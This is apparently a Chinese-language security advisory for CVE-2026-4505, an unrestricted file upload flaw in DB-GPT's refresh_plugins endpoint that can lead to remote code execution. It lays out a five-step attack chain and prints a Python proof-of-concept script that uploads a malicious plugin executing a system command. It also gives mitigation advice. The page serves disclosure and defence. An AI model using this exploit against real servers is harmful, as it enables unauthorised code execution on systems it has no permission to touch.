IPBUF安全漏洞报告
English
CVE-2026-4505 CVSS 6.3 中危

CVE-2026-4505 DB-GPT 插件刷新任意文件上传漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-4505
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
eospheros-ai DB-GPT

相关标签

任意文件上传远程代码执行DB-GPTFastAPICVE-2026-4505

漏洞概述

eospheros-ai DB-GPT 0.7.5及之前版本存在安全漏洞。该漏洞源于FastAPI端点`module_plugin.refresh_plugins`函数未正确处理文件上传请求。攻击者可利用此漏洞进行不受限制的文件上传,结合插件加载机制可能导致远程代码执行。目前厂商尚未响应。

技术细节

该漏洞位于eospheros-ai DB-GPT的FastAPI服务组件中,具体受影响的代码文件为`packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py`。漏洞触发点在于`module_plugin.refresh_plugins`函数,该函数旨在处理插件的刷新与更新逻辑。然而,在实现过程中,开发人员未对用户上传的文件实施严格的类型白名单校验、内容过滤或路径遍历防护。攻击者首先需要获取一个低权限账户(CVSS PR:L),随后构造恶意的HTTP POST请求发送至该端点。由于缺乏安全过滤,攻击者可以上传任意文件(如恶意Python插件或Webshell)。考虑到DB-GPT的架构设计,上传的插件文件可能会被系统自动加载或执行,从而导致服务器端任意代码执行。这种不受限制的文件上传漏洞不仅破坏了系统的完整性,还直接威胁到系统的机密性和可用性。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是 eospheros-ai DB-GPT 版本 0.7.5 或更早版本,并定位到 FastAPI 服务接口。
STEP 2
获取权限
攻击者注册或获取一个低权限账户(满足 CVSS PR:L 要求),获取认证 Session 或 Token。
STEP 3
构造载荷
攻击者构造包含恶意代码的文件(如恶意Python插件),并针对 `module_plugin.refresh_plugins` 端点准备 HTTP POST 请求。
STEP 4
执行上传
攻击者发送请求,由于缺乏文件类型校验,恶意文件被成功上传至服务器。
STEP 5
利用与控制
系统处理或加载该恶意插件,导致恶意代码在服务器端执行,攻击者获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the vulnerable endpoint # Adjust the IP and port according to the actual environment target_url = "http://127.0.0.1:5000/api/agent/hub/refresh_plugins" # Malicious file content (e.g., a simple python webshell or backdoor) # This demonstrates the unrestricted upload capability malicious_code = """import os os.system('whoami') """ # Prepare the file payload # The vulnerability allows arbitrary file types, so naming it .py is possible files = { 'file': ('malicious_plugin.py', malicious_code, 'text/plain') } # Low-privilege authentication cookie (if required by PR:L) cookies = { 'session': 'valid_low_privilege_session_token' } try: # Send the malicious upload request response = requests.post(target_url, files=files, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit successful! File uploaded via refresh_plugins.") print("[+] Response:", response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print("[-] Response:", response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

eospheros-ai DB-GPT <= 0.7.5

防御指南

临时缓解措施
在官方发布修复版本前,建议通过防火墙或安全组限制对 `refresh_plugins` 接口的访问,仅允许内部受信任的IP调用。同时,应检查服务器插件目录中是否存在异常文件,并暂时禁用自动插件加载功能,以防止漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表